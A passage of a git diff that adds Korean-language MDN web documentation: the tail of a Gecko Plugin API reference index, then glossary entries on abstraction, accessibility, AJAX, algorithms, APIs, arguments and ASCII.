+</dd><dd> <a href="ko/Gecko_Plugin_API_Reference/Plug-in_Basics#Plug-in_Detection">Plug-in Detection</a>
+</dd></dl>
+<dl><dd><dl><dd> <a href="ko/Gecko_Plugin_API_Reference/Plug-in_Basics#How_Gecko_Finds_Plug-ins">How Gecko Finds Plug-ins</a>
+</dd><dd> <a href="ko/Gecko_Plugin_API_Reference/Plug-in_Basics#Checking_Plug-ins_by_MIME_Type">Checking Plug-ins by MIME Type</a>
+</dd></dl>
+</dd><dd> <a href="ko/Gecko_Plugin_API_Reference/Plug-in_Basics#Overview_of_Plug-in_Structure">Overview of Plug-in Structure</a>
+</dd></dl>
+<dl><dd><dl><dd> <a href="ko/Gecko_Plugin_API_Reference/Plug-in_Basics#Understanding_the_Plug-in_API">Understanding the Plug-in API</a>
+</dd><dd> <a href="ko/Gecko_Plugin_API_Reference/Plug-in_Basics#Plug-ins_and_Platform_Independence">Plug-ins and Platform Independence</a>
+</dd></dl>
+</dd><dd> <a href="ko/Gecko_Plugin_API_Reference/Plug-in_Basics#Windowed_and_Windowless_Plug-ins">Windowed and Windowless Plug-ins</a>
+</dd><dd> <a href="ko/Gecko_Plugin_API_Reference/Plug-in_Basics#The_Default_Plug-in">The Default Plug-in</a>
+</dd><dd> <a href="ko/Gecko_Plugin_API_Reference/Plug-in_Basics#Using_HTML_to_Display_Plug-ins">Using HTML to Display Plug-ins</a>
+</dd></dl>
+<dl><dd><dl><dd> <a href="ko/Gecko_Plugin_API_Reference/Plug-in_Basics#Plug-in_Display_Modes">Plug-in Display Modes</a>
+</dd><dd> <a href="ko/Gecko_Plugin_API_Reference/Plug-in_Basics#Using_the_OBJECT_Tag_for_Plug-in_Display">Using the OBJECT Tag for Plug-in Display</a>
+</dd><dd> <a href="ko/Gecko_Plugin_API_Reference/Plug-in_Basics#Nesting_Rules_for_HTML_Elements">Nesting Rules for HTML Elements</a>
+</dd><dd> <a href="ko/Gecko_Plugin_API_Reference/Plug-in_Basics#Using_the_Appropriate_Attributes">Using the Appropriate Attributes</a>
+</dd><dd> <a href="ko/Gecko_Plugin_API_Reference/Plug-in_Basics#Using_the_EMBED_Tag_for_Plug-in_Display">Using the EMBED Tag for Plug-in Display</a>
+</dd><dd> <a href="ko/Gecko_Plugin_API_Reference/Plug-in_Basics#Using_Custom_EMBED_Attributes">Using Custom EMBED Attributes</a>
+</dd></dl>
+</dd><dd> <a href="ko/Gecko_Plugin_API_Reference/Plug-in_Basics#Plug-in_References">Plug-in References</a>
+</dd></dl>
+<h4 id="Plug-in_Development_Overview"> <a href="ko/Gecko_Plugin_API_Reference/Plug-in_Development_Overview">Plug-in Development Overview</a> </h4>
+<dl><dd> <a href="ko/Gecko_Plugin_API_Reference/Plug-in_Development_Overview#Writing_Plug-ins">Writing Plug-ins</a>
+</dd><dd> <a href="ko/Gecko_Plugin_API_Reference/Plug-in_Development_Overview#Registering_Plug-ins">Registering Plug-ins</a>
+</dd></dl>
+<dl><dd><dl><dd> <a href="ko/Gecko_Plugin_API_Reference/Plug-in_Development_Overview#MS_Windows">MS Windows</a>
+</dd><dd> <a href="ko/Gecko_Plugin_API_Reference/Plug-in_Development_Overview#Unix">Unix</a>
+</dd><dd> <a href="ko/Gecko_Plugin_API_Reference/Plug-in_Development_Overview#Mac_OS">Mac OS</a>
+</dd><dd> <a href="ko/Gecko_Plugin_API_Reference/Plug-in_Development_Overview#OSX">OSX</a>
+</dd></dl>
+</dd><dd> <a href="ko/Gecko_Plugin_API_Reference/Plug-in_Development_Overview#Drawing_a_Plug-in_Instance">Drawing a Plug-in Instance</a>
+</dd><dd> <a href="ko/Gecko_Plugin_API_Reference/Plug-in_Development_Overview#Handling_Memory">Handling Memory</a>
+</dd><dd> <a href="ko/Gecko_Plugin_API_Reference/Plug-in_Development_Overview#Sending_and_Receiving_Streams">Sending and Receiving Streams</a>
+</dd><dd> <a href="ko/Gecko_Plugin_API_Reference/Plug-in_Development_Overview#Working_with_URLs">Working with URLs</a>
+</dd><dd> <a href="ko/Gecko_Plugin_API_Reference/Plug-in_Development_Overview#Getting_Version_and_UI_Information">Getting Version and UI Information</a>
+</dd><dd> <a href="ko/Gecko_Plugin_API_Reference/Plug-in_Development_Overview#Displaying_Messages_on_the_Status_Line">Displaying Messages on the Status Line</a>
+</dd><dd> <a href="ko/Gecko_Plugin_API_Reference/Plug-in_Development_Overview#Making_Plug-ins_Scriptable">Making Plug-ins Scriptable</a>
+</dd><dd> <a href="ko/Gecko_Plugin_API_Reference/Plug-in_Development_Overview#Building_Plug-ins">Building Plug-ins</a>
+</dd></dl>
+<dl><dd><dl><dd> <a href="ko/Gecko_Plugin_API_Reference/Plug-in_Development_Overview#Building.2C_Platforms.2C_and_Compilers">Building, Platforms, and Compilers</a>
+</dd><dd> <a href="ko/Gecko_Plugin_API_Reference/Plug-in_Development_Overview#Building_Carbonized_Plug-ins_for_Mac_OSX">Building Carbonized Plug-ins for Mac OSX</a>
+</dd><dd> <a href="ko/Gecko_Plugin_API_Reference/Plug-in_Development_Overview#Getting_and_Using_the_xpidl_Compiler">Getting and Using the xpidl Compiler</a>
+</dd><dd> <a href="ko/Gecko_Plugin_API_Reference/Plug-in_Development_Overview#Type_Libraries">Type Libraries</a>
+</dd></dl>
+</dd><dd> <a href="ko/Gecko_Plugin_API_Reference/Plug-in_Development_Overview#Installing_Plug-ins">Installing Plug-ins</a>
+</dd></dl>
+<dl><dd><dl><dd> <a href="ko/Gecko_Plugin_API_Reference/Plug-in_Development_Overview#Native_Installers">Native Installers</a>
+</dd><dd> <a href="ko/Gecko_Plugin_API_Reference/Plug-in_Development_Overview#XPI_Plug-ins_Installations">XPI Plug-ins Installations</a>
+</dd><dd> <a href="ko/Gecko_Plugin_API_Reference/Plug-in_Development_Overview#Plug-in_Installation_and_the_Windows_Registry">Plug-in Installation and the Windows Registry</a>
+</dd></dl>
+</dd></dl>
+<h3 id="Initialization_and_Destruction"> <a href="ko/Gecko_Plugin_API_Reference/Initialization_and_Destruction">Initialization and Destruction</a> </h3>
+<dl><dd> <a href="ko/Gecko_Plugin_API_Reference/Initialization_and_Destruction#Initialization">Initialization</a>
+</dd><dd> <a href="ko/Gecko_Plugin_API_Reference/Initialization_and_Destruction#Instance_Creation">Instance Creation</a>
+</dd><dd> <a href="ko/Gecko_Plugin_API_Reference/Initialization_and_Destruction#Instance_Destruction">Instance Destruction</a>
+</dd><dd> <a href="ko/Gecko_Plugin_API_Reference/Initialization_and_Destruction#Shutdown">Shutdown</a>
+</dd><dd> <a href="ko/Gecko_Plugin_API_Reference/Initialization_and_Destruction#Initialize_and_Shutdown_Example">Initialize and Shutdown Example</a>
+</dd></dl>
+<h4 id="Drawing_and_Event_Handling"> <a href="ko/Gecko_Plugin_API_Reference/Drawing_and_Event_Handling">Drawing and Event Handling</a> </h4>
+<dl><dd> <a href="ko/Gecko_Plugin_API_Reference/Drawing_and_Event_Handling#The_NPWindow_Structure">The NPWindow Structure</a>
+</dd><dd> <a href="ko/Gecko_Plugin_API_Reference/Drawing_and_Event_Handling#Drawing_Plug-ins">Drawing Plug-ins</a>
+</dd></dl>
+<dl><dd><dl><dd> <a href="ko/Gecko_Plugin_API_Reference/Drawing_and_Event_Handling#Printing_the_Plug-in">Printing the Plug-in</a>
+</dd><dd> <a href="ko/Gecko_Plugin_API_Reference/Drawing_and_Event_Handling#Setting_the_Window">Setting the Window</a>
+</dd><dd> <a href="ko/Gecko_Plugin_API_Reference/Drawing_and_Event_Handling#Getting_Information">Getting Information</a>
+</dd></dl>
+</dd><dd> <a href="ko/Gecko_Plugin_API_Reference/Drawing_and_Event_Handling#Windowed_Plug-ins">Windowed Plug-ins</a>
+</dd></dl>
+<dl><dd><dl><dd> <a href="ko/Gecko_Plugin_API_Reference/Drawing_and_Event_Handling#Mac_OS">Mac OS</a>
+</dd><dd> <a href="ko/Gecko_Plugin_API_Reference/Drawing_and_Event_Handling#Windows">Windows</a>
+</dd><dd> <a href="ko/Gecko_Plugin_API_Reference/Drawing_and_Event_Handling#Unix">Unix</a>
+</dd><dd> <a href="ko/Gecko_Plugin_API_Reference/Drawing_and_Event_Handling#Event_Handling_for_Windowed_Plug-ins">Event Handling for Windowed Plug-ins</a>
+</dd></dl>
+</dd><dd> <a href="ko/Gecko_Plugin_API_Reference/Drawing_and_Event_Handling#Windowless_Plug-ins">Windowless Plug-ins</a>
+</dd></dl>
+<dl><dd><dl><dd> <a href="ko/Gecko_Plugin_API_Reference/Drawing_and_Event_Handling#Specifying_That_a_Plug-in_Is_Windowless">Specifying That a Plug-in Is Windowless</a>
+</dd><dd> <a href="ko/Gecko_Plugin_API_Reference/Drawing_and_Event_Handling#Invalidating_the_Drawing_Area">Invalidating the Drawing Area</a>
+</dd><dd> <a href="ko/Gecko_Plugin_API_Reference/Drawing_and_Event_Handling#Forcing_a_Paint_Message">Forcing a Paint Message</a>
+</dd><dd> <a href="ko/Gecko_Plugin_API_Reference/Drawing_and_Event_Handling#Making_a_Plug-in_Opaque">Making a Plug-in Opaque</a>
+</dd><dd> <a href="ko/Gecko_Plugin_API_Reference/Drawing_and_Event_Handling#Making_a_Plug-in_Transparent">Making a Plug-in Transparent</a>
+</dd><dd> <a href="ko/Gecko_Plugin_API_Reference/Drawing_and_Event_Handling#Creating_Pop-up_Menus_and_Dialog_Boxes">Creating Pop-up Menus and Dialog Boxes</a>
+</dd><dd> <a href="ko/Gecko_Plugin_API_Reference/Drawing_and_Event_Handling#Event_Handling_for_Windowless_Plug-ins">Event Handling for Windowless Plug-ins</a>
+</dd></dl>
+</dd></dl>
+<h3 id="Streams"> <a href="ko/Gecko_Plugin_API_Reference/Streams">Streams</a> </h3>
+<ul><li><a href="ko/Gecko_Plugin_API_Reference/Streams#Receiving_a_Stream">Receiving a Stream</a>
+</li><li><a href="ko/Gecko_Plugin_API_Reference/Streams#Telling_the_Plug-in_When_a_Stream_Is_Created">Telling the Plug-in When a Stream Is Created</a>
+</li><li><a href="ko/Gecko_Plugin_API_Reference/Streams#Telling_the_Plug-in_When_a_Stream_Is_Deleted">Telling the Plug-in When a Stream Is Deleted</a>
+</li><li><a href="ko/Gecko_Plugin_API_Reference/Streams#Finding_Out_How_Much_Data_the_Plug-in_Can_Accept">Finding Out How Much Data the Plug-in Can Accept</a>
+</li><li><a href="ko/Gecko_Plugin_API_Reference/Streams#Writing_the_Stream_to_the_Plug-in">Writing the Stream to the Plug-in</a>
+</li><li><a href="ko/Gecko_Plugin_API_Reference/Streams#Sending_the_Stream_in_Random-Access_Mode">Sending the Stream in Random-Access Mode</a>
+</li><li><a href="ko/Gecko_Plugin_API_Reference/Streams#Sending_the_Stream_in_File_Mode">Sending the Stream in File Mode</a>
+</li><li><a href="ko/Gecko_Plugin_API_Reference/Streams#Sending_a_Stream">Sending a Stream</a>
+</li><li><a href="ko/Gecko_Plugin_API_Reference/Streams#Creating_a_Stream">Creating a Stream</a>
+</li><li><a href="ko/Gecko_Plugin_API_Reference/Streams#Pushing_Data_into_the_Stream">Pushing Data into the Stream</a>
+</li><li><a href="ko/Gecko_Plugin_API_Reference/Streams#Deleting_the_Stream">Deleting the Stream</a>
+</li><li><a href="ko/Gecko_Plugin_API_Reference/Streams#Example_of_Sending_a_Stream">Example of Sending a Stream</a>
+</li></ul>
+<h4 id="URLs"> <a href="ko/Gecko_Plugin_API_Reference/URLs">URLs</a> </h4>
+<dl><dd> <a href="ko/Gecko_Plugin_API_Reference/URLs#Getting_URLs">Getting URLs</a>
+</dd></dl>
+<dl><dd><dl><dd> <a href="ko/Gecko_Plugin_API_Reference/URLs#Getting_the_URL_and_Displaying_the_Page">Getting the URL and Displaying the Page</a>
+</dd></dl>
+</dd><dd> <a href="ko/Gecko_Plugin_API_Reference/URLs#Posting_URLs">Posting URLs</a>
+</dd></dl>
+<dl><dd><dl><dd> <a href="ko/Gecko_Plugin_API_Reference/URLs#Posting_Data_to_an_HTTP_Server">Posting Data to an HTTP Server</a>
+</dd><dd> <a href="ko/Gecko_Plugin_API_Reference/URLs#Uploading_Files_to_an_FTP_Server">Uploading Files to an FTP Server</a>
+</dd><dd> <a href="ko/Gecko_Plugin_API_Reference/URLs#Sending_Mail">Sending Mail</a>
+</dd></dl>
+</dd></dl>
+<h3 id="Memory"> <a href="ko/Gecko_Plugin_API_Reference/Memory">Memory</a> </h3>
+<ul><li><a href="ko/Gecko_Plugin_API_Reference/Memory#Allocating_and_Freeing_Memory">Allocating and Freeing Memory</a>
+</li><li><a href="ko/Gecko_Plugin_API_Reference/Memory#Mac_OS">Mac OS</a>
+</li><li><a href="ko/Gecko_Plugin_API_Reference/Memory">Flushing Memory (Mac OS only)</a>
+</li></ul>
+<h4 id="Version.2C_UI.2C_and_Status_Information"> <a href="ko/Gecko_Plugin_API_Reference/Version%2c_UI%2c_and_Status_Information">Version, UI, and Status Information</a> </h4>
+<dl><dd> <a href="ko/Gecko_Plugin_API_Reference/Version%2c_UI%2c_and_Status_Information#Displaying_a_Status_Line_Message">Displaying a Status Line Message</a>
+</dd><dd> <a href="ko/Gecko_Plugin_API_Reference/Version%2c_UI%2c_and_Status_Information#Getting_Agent_Information">Getting Agent Information</a>
+</dd><dd> <a href="ko/Gecko_Plugin_API_Reference/Version%2c_UI%2c_and_Status_Information#Getting_the_Current_Version">Getting the Current Version</a>
+</dd><dd> <a href="ko/Gecko_Plugin_API_Reference/Version%2c_UI%2c_and_Status_Information#Finding_Out_if_a_Feature_Exists">Finding Out if a Feature Exists</a>
+</dd><dd> <a href="ko/Gecko_Plugin_API_Reference/Version%2c_UI%2c_and_Status_Information#Reloading_a_Plug-in">Reloading a Plug-in</a>
+</dd></dl>
+<h3 id="Plug-in_Side_Plug-in_API"> <a href="ko/Gecko_Plugin_API_Reference/Plug-in_Side_Plug-in_API">Plug-in Side Plug-in API</a> </h3>
+<ul><li><a href="ko/NPP_Destroy">NPP_Destroy</a>
+</li><li><a href="ko/NPP_DestroyStream">NPP_DestroyStream</a>
+</li><li><a href="ko/NPP_GetValue">NPP_GetValue</a>
+</li><li><a href="ko/NP_GetValue">NP_GetValue</a>
+</li><li><a href="ko/NPP_HandleEvent">NPP_HandleEvent</a>
+</li><li><a href="ko/NP_Initialize">NP_Initialize</a>
+</li><li><a href="ko/NPP_New">NPP_New</a>
+</li><li><a href="ko/NPP_NewStream">NPP_NewStream</a>
+</li><li><a href="ko/NPP_Print">NPP_Print</a>
+</li><li><a href="ko/NPP_SetValue">NPP_SetValue</a>
+</li><li><a href="ko/NPP_SetWindow">NPP_SetWindow</a>
+</li><li><a href="ko/NP_Shutdown">NP_Shutdown</a>
+</li><li><a href="ko/NPP_StreamAsFile">NPP_StreamAsFile</a>
+</li><li><a href="ko/NPP_URLNotify">NPP_URLNotify</a>
+</li><li><a href="ko/NPP_Write">NPP_Write</a>
+</li><li><a href="ko/NPP_WriteReady">NPP_WriteReady</a>
+</li></ul>
+<h3 id="Browser_Side_Plug-in_API"> <a href="ko/Gecko_Plugin_API_Reference/Browser_Side_Plug-in_API">Browser Side Plug-in API</a> </h3>
+<ul><li> <a href="ko/NPN_DestroyStream">NPN_DestroyStream</a>
+</li><li> <a href="ko/NPN_ForceRedraw">NPN_ForceRedraw</a>
+</li><li> <a href="ko/NPN_GetURL">NPN_GetURL</a>
+</li><li> <a href="ko/NPN_GetURLNotify">NPN_GetURLNotify</a>
+</li><li> <a href="ko/NPN_GetValue">NPN_GetValue</a>
+</li><li> <a href="ko/NPN_InvalidateRect">NPN_InvalidateRect</a>
+</li><li> <a href="ko/NPN_InvalidateRegion">NPN_InvalidateRegion</a>
+</li><li> <a href="ko/NPN_MemAlloc">NPN_MemAlloc</a>
+</li><li> <a href="ko/NPN_MemFlush">NPN_MemFlush</a>
+</li><li> <a href="ko/NPN_MemFree">NPN_MemFree</a>
+</li><li> <a href="ko/NPN_NewStream">NPN_NewStream</a>
+</li><li> <a href="ko/NPN_PostURL">NPN_PostURL</a>
+</li><li> <a href="ko/NPN_PostURLNotify">NPN_PostURLNotify</a>
+</li><li> <a href="ko/NPN_ReloadPlugins">NPN_ReloadPlugins</a>
+</li><li> <a href="ko/NPN_RequestRead">NPN_RequestRead</a>
+</li><li> <a href="ko/NPN_SetValue">NPN_SetValue</a>
+</li><li> <a href="ko/NPN_Status">NPN_Status</a>
+</li><li> <a href="ko/NPN_UserAgent">NPN_UserAgent</a>
+</li><li> <a href="ko/NPN_Version">NPN_Version</a>
+</li><li> <a href="ko/NPN_Write">NPN_Write</a>
+</li></ul>
+<h3 id="Structures"> <a href="ko/Gecko_Plugin_API_Reference/Structures">Structures</a> </h3>
+<ul><li><a href="ko/NPAnyCallbackStruct">NPAnyCallbackStruct</a>
+</li><li><a href="ko/NPByteRange">NPByteRange</a>
+</li><li><a href="ko/NPEmbedPrint">NPEmbedPrint</a>
+</li><li><a href="ko/NPEvent">NPEvent</a>
+</li><li><a href="ko/NPFullPrint">NPFullPrint</a>
+</li><li><a href="ko/NPP">NPP</a>
+</li><li><a href="ko/NP_Port">NP_Port</a>
+</li><li><a href="ko/NPPrint">NPPrint</a>
+</li><li><a href="ko/NPPrintCallbackStruct">NPPrintCallbackStruct</a>
+</li><li><a href="ko/NP_Rect">NP_Rect</a>
+</li><li><a href="ko/NP_Region">NP_Region</a>
+</li><li><a href="ko/NPSavedData">NPSavedData</a>
+</li><li><a href="ko/NPSetWindowCallbackStruct">NPSetWindowCallbackStruct</a>
+</li><li><a href="ko/NPStream">NPStream</a>
+</li><li><a href="ko/NPWindow">NPWindow</a>
+</li></ul>
+<h3 id="Constants"> <a href="ko/Gecko_Plugin_API_Reference/Constants">Constants</a> </h3>
+<ul><li><a href="ko/Gecko_Plugin_API_Reference/Constants#Error_Codes">Error Codes</a>
+</li><li><a href="ko/Gecko_Plugin_API_Reference/Constants#Result_Codes">Result Codes</a>
+</li><li><a href="ko/Gecko_Plugin_API_Reference/Constants#Plug-in_Version_Constants">Plug-in Version Constants</a>
+</li><li><a href="ko/Gecko_Plugin_API_Reference/Constants#Version_Feature_Constants">Version Feature Constants</a>
+</li></ul>
+<h4 id="Authors"> <a href="ko/Gecko_Plugin_API_Reference/Authors">Authors</a> </h4>
+{{ languages( { "en": "en/Gecko_Plugin_API_Reference", "ja": "ja/Gecko_Plugin_API_Reference", "pl": "pl/Dokumentacja_wtyczek_Gecko" } ) }}
diff --git a/files/ko/glossary/abstraction/index.html b/files/ko/glossary/abstraction/index.html
new file mode 100644
index 0000000000..9b8d69c4d1
--- /dev/null
+++ b/files/ko/glossary/abstraction/index.html
@@ -0,0 +1,52 @@
+---
+title: 추상화
+slug: Glossary/Abstraction
+tags:
+  - Abstraction
+  - CodingScripting
+  - Glossary
+  - 추상화
+translation_of: Glossary/Abstraction
+---
+<p>{{Glossary("computer programming", "컴퓨터 프로그래밍")}}에서의 <strong>추상화</strong>란 복잡한 소프트웨어 시스템을 효율적으로 설계하고 구현할 수 있는 방법입니다. 추상화는 뒷편 시스템의 기술적 복잡함을 단순한 {{Glossary("API")}} 뒤에 숨깁니다.</p>
+
+<h2 id="데이터_추상화의_장점">데이터 추상화의 장점</h2>
+
+<ul>
+ <li>사용자가 낮은 수준의 코드를 작성하지 않도록 도움.</li>
+ <li>코드 중복 방지 및 재사용성 향상.</li>
+ <li>사용자에게 영향을 끼치지 않은 채로 독립적으로 클래스의 내부 구현 변경 가능</li>
+ <li>중요한 세부 정보만 사용자에게 제공하므로 응용 프로그램 또는 프로그램의 보안 향상에 도움</li>
+</ul>
+
+<ul>
+</ul>
+
+<h2 id="예"><strong>예</strong></h2>
+
+<pre><code>class ImplementAbstraction {
+  // method to set values of internal members
+  set(x, y) {
+    this.a = x;
+    this.b = y;
+  }
+
+  display() {
+    console.log('a = ' + this.a);
+    console.log('b = ' + this.b);
+  }
+}
+
+const obj = new ImplementAbstraction();
+obj.set(10, 20);
+obj.display();
+// a = 10
+// b = 20</code></pre>
+
+<h2 id="더_알아보기"><strong>더 알아보기</strong></h2>
+
+<h3 id="일반적인_지식">일반적인 지식</h3>
+
+<ul>
+ <li>Wikipedia의 {{interwiki("wikipedia", "Abstraction (computer science)", "Abstraction")}} </li>
+</ul>
diff --git a/files/ko/glossary/accessibility/index.html b/files/ko/glossary/accessibility/index.html
new file mode 100644
index 0000000000..68b99083f6
--- /dev/null
+++ b/files/ko/glossary/accessibility/index.html
@@ -0,0 +1,33 @@
+---
+title: 접근성
+slug: Glossary/Accessibility
+tags:
+  - Accessibility
+  - Glossary
+translation_of: Glossary/Accessibility
+---
+<p><strong>웹 접근성</strong>(Accessibility, <strong>A11Y</strong>)은 신체적, 기술적 제약사항에도 불구하고 충분히 사용 가능한 웹사이트를 만드는 것을 말합니다. 웹 접근성은 {{Glossary("W3C")}}의 {{Glossary("WAI","Web Accessibility Initiative")}}(WAI)가 공식적으로 정의하고 논의합니다.</p>
+
+<h2 id="더_알아보기">더 알아보기</h2>
+
+<h3 id="일반_지식">일반 지식</h3>
+
+<ul>
+ <li><a href="/ko/docs/Web/Accessibility">MDN의 접근성 자료</a></li>
+ <li>위키백과 {{Interwiki("wikipedia", "웹 접근성")}}</li>
+</ul>
+
+<h3 id="웹_접근성_학습">웹 접근성 학습</h3>
+
+<ul>
+ <li><a href="/ko/docs/Learn/접근성">MDN에서 접근성 학습하기</a></li>
+ <li><a href="https://webaim.org/" rel="external">Web Accessibility In Mind</a></li>
+</ul>
+
+<h3 id="기술_참고서">기술 참고서</h3>
+
+<ul>
+ <li><a href="/ko/docs/Web/Accessibility/ARIA">MDN ARIA 문서</a></li>
+ <li><a href="https://www.w3.org/WAI/" rel="external">Web Accessibility Initiative 홈페이지</a></li>
+ <li><a href="https://www.w3.org/TR/wai-aria/" rel="external">WAI-ARIA 권고안</a></li>
+</ul>
diff --git a/files/ko/glossary/ajax/index.html b/files/ko/glossary/ajax/index.html
new file mode 100644
index 0000000000..59167bb33f
--- /dev/null
+++ b/files/ko/glossary/ajax/index.html
@@ -0,0 +1,26 @@
+---
+title: AJAX
+slug: Glossary/AJAX
+tags:
+  - AJAX
+  - 아작스
+  - 용어
+translation_of: Glossary/AJAX
+---
+<p>AJAX (Asynchronous {{glossary("JavaScript")}} And {{glossary("XML")}})는 {{glossary("HTML")}}, {{glossary("CSS")}}, JavaScript, {{glossary("DOM")}} 조작, 와 <code>XMLHttpRequest</code> {{glossary("object")}}를 활용한 프로그래밍 방식이다. AJAX는 전체 페이지가 다시 로드되지 않고 일부분만 업데이트하는 좀 더 복잡한 웹페이지를 만들 수 있게 해준다. 또한 AJAX를 사용하면 웹페이지 일부가 리로드 되는 동안에도 코드가 계속 실행되어 비동기식으로 작업할 수 있다.  (동기적으로 움직이는 코드와 비교하자면 웹페이지가 로딩이 끝날 때 까지 당신의 코드는 움직이지 않습니다.)</p>
+
+<h2 id="더_많은_정보">더 많은 정보</h2>
+
+<h3 id="일반_지식">일반 지식</h3>
+
+<ul>
+ <li>위키피디아 {{interwiki("wikipedia", "AJAX")}}</li>
+ <li><a href="http://peoplesofttutorial.com/difference-between-synchronous-and-asynchronous-messaging/">Synchronous vs. Asynchronous Communications</a></li>
+</ul>
+
+<h3 id="기술_정보">기술 정보</h3>
+
+<ul>
+ <li>{{domxref("XMLHttpRequest")}} 객체</li>
+ <li><a href="/en-US/docs/AJAX">The AJAX documentation on MDN</a></li>
+</ul>
diff --git a/files/ko/glossary/algorithm/index.html b/files/ko/glossary/algorithm/index.html
new file mode 100644
index 0000000000..79c9820ce2
--- /dev/null
+++ b/files/ko/glossary/algorithm/index.html
@@ -0,0 +1,38 @@
+---
+title: Algorithm
+slug: Glossary/Algorithm
+tags:
+  - 알고리즘
+translation_of: Glossary/Algorithm
+---
+<p><span class="seoSummary">알고리즘(Algorithm)은 기능을 수행하기 위한 독립된 명령어들의 집합이다.</span></p>
+
+<p>즉, 알고리즘은 인간이나 기계에 의해 반복적으로 해결할 수 있도록 문제를 해결하는 방법을 기술하는 수단이다. 컴퓨터 과학자들은 "알고리즘의 복잡성"이나 "빅 O" 표기법이라는 개념을 통해 알고리즘의 효율성을 비교한다.</p>
+
+<p>예를 들어:</p>
+
+<ul>
+ <li>요리 레시피는 인간을 위한 간단한 알고리즘이다.</li>
+ <li>
+  <p>정렬 알고리즘은 종종 컴퓨터 프로그래밍에서 데이터를 정렬하는 방법을 설명하기 위해 사용된다.</p>
+ </li>
+</ul>
+
+<p>일반적인 알고리즘은 Traveling Salemen Problem, Tree Traversal Algorithms 등과 같은 길 찾기 알고리즘이다.</p>
+
+<p>선형 회귀, 로지스틱 회귀, 의사결정 트리, 랜덤 포레스트, 지원 벡터 머신, Recurrent Neural Network(RNN), Long Term Memory(LSTM) Neural Network, Convolutional Neural Network(CNNN), Deep Convolutional Neural Network(심층 신경망) 등의 머신 러닝 알고리즘도 있다.</p>
+
+<h2 id="더_알아보기">더 알아보기</h2>
+
+<h3 id="일반적_지식">일반적 지식</h3>
+
+<ul>
+ <li>Wikipedia의 {{Interwiki("wikipedia", "Algorithm", "Algorithm")}}</li>
+</ul>
+
+<h3 id="기술적_참조">기술적 참조</h3>
+
+<ul>
+ <li><a href="https://www.toptal.com/developers/sorting-algorithms">Explanations of sorting algorithms</a></li>
+ <li><a href="http://bigocheatsheet.com/">Explanations of algorithmic complexity</a></li>
+</ul>
diff --git a/files/ko/glossary/api/index.html b/files/ko/glossary/api/index.html
new file mode 100644
index 0000000000..5e4ae8818e
--- /dev/null
+++ b/files/ko/glossary/api/index.html
@@ -0,0 +1,33 @@
+---
+title: API
+slug: Glossary/API
+translation_of: Glossary/API
+---
+<p> </p>
+
+<p>API(Application Programming Interface)는 소프트웨어 프로그램(애플리케이션) 내부에 존재하는 기능 및 규칙의 집합이다. API는 Human User Interface와 달리 소프트웨어를 통해 상호작용할 수 있다. 즉, API는 API를 제공하는 애플리케이션과 서드파티 소프트웨어 및 하드웨어 등의 것들 사이의 간단한 계약(인터페이스)이라고도 볼 수 있다.<br>
+ <br>
+ 웹 개발에서 보통 API는 개발자가 앱을 통해 사용자의 웹 브라우저에서 상호작용할 수 있도록 하는 코드 기능들( e.g. {{glossary("method","methods")}}, {{Glossary("property","properties")}}, 이벤트, {{Glossary("URL","URLs")}}), 사용자의 컴퓨터 상에 있는 다른 소프트웨어 및 하드웨어, 또는 서드파티 웹사이트나 서비스의 집합을 의미한다.<br>
+ <br>
+ 예를 들면 다음과 같다:</p>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia">getUserMedia API</a>는 사용자의 웹캠으로부터 오디오나 비디오를 감지하고, 이를 개발자가 원하는대로 사용할 수 있게끔 하는 API다. 예를 들자면 비디오 및 오디오 녹음하기, 컨퍼런스 콜에서 다른 유저들에게 방송하기, 비디오에서 스틸 이미지 캡쳐하기 등을 할 수 있다.</li>
+ <li><a href="/en-US/docs/Web/API/Geolocation">Geolocation API</a>는 사용자의 디바이스에서 위치 정보를 제공할 수 있는 모든 종류의 서비스로부터 위치 정보를 반환한다. 이는 <a href="https://developers.google.com/maps/">Google Maps API</a>와 결합하여 사용자의 정보를 커스텀 지도에서 나타내거나, 현재 위치 근처에 어떤 관광 명소가 있는지를 보여주는 등에 사용될 수 있다.</li>
+ <li><a href="/en-US/docs/https://dev.twitter.com/overview/api">Twitter API</a>는 가장 최근 트윗을 웹 페이지에서 보여주는 등, 사용자의 트위터 계정에서 정보를 반환하는 데에 쓸 수 있다.</li>
+ <li><a href="/en-US/docs/Web/API/Web_Animations_API">Web Animations API</a>는 예를 들어 이미지를 여기저기 움직이거나 회전시키는 등, 웹 페이지 일부를 움직이도록 하는 데에 쓸 수 있다.</li>
+</ul>
+
+<h2 id="Learn_more">Learn more</h2>
+
+<h3 id="General_knowledge">General knowledge</h3>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "Application_programming_interface", "API")}} on Wikipedia</li>
+</ul>
+
+<h3 id="Technical_reference">Technical reference</h3>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API">Web API reference</a></li>
+</ul>
diff --git a/files/ko/glossary/argument/index.html b/files/ko/glossary/argument/index.html
new file mode 100644
index 0000000000..75e24fc17a
--- /dev/null
+++ b/files/ko/glossary/argument/index.html
@@ -0,0 +1,20 @@
+---
+title: Argument
+slug: Glossary/Argument
+translation_of: Glossary/Argument
+---
+<p>인수란 {{Glossary("function","함수")}}에 입력으로 간주되는 ({{Glossary("primitive","원시적")}}인 또는 {{Glossary("object","객체")}}의){{glossary("value","값")}} 이다.</p>
+
+<h2 id="더_알아보기">더 알아보기</h2>
+
+<h3 id="일반적인_지식">일반적인 지식</h3>
+
+<ul>
+ <li>Wikipedia의 {{Interwiki("wikipedia", "Parameter_(computer_programming)", "Difference between Parameter and Argument")}}</li>
+</ul>
+
+<h3 id="기술적_참조">기술적 참조</h3>
+
+<ul>
+ <li>{{glossary("JavaScript")}}의 {{jsxref("Functions/arguments","arguments")}}객체</li>
+</ul>
diff --git a/files/ko/glossary/ascii/index.html b/files/ko/glossary/ascii/index.html
new file mode 100644
index 0000000000..ab61d636bd
--- /dev/null
+++ b/files/ko/glossary/ascii/index.html
@@ -0,0 +1,12 @@
+---
+title: ASCII
+slug: Glossary/ASCII
+translation_of: Glossary/ASCII
+---
+<p><strong>미국정보교환표준부호</strong>(<em>American Standard Code for Information Interchange</em>) 또는<strong> ASCII</strong>는 문자, 숫자, 구두점, 제어문자를 디지털 형태로 바꾸어주는 대표적인 문자 인코딩 방식이다. 2007년 부터 웹에서는 {{Glossary("UTF-8")}}이 주로 쓰이고 있다.</p>
+
+<h2 id="Learn_more">Learn more</h2>
+
+<h3 id="General_knowledge">General knowledge</h3>
+
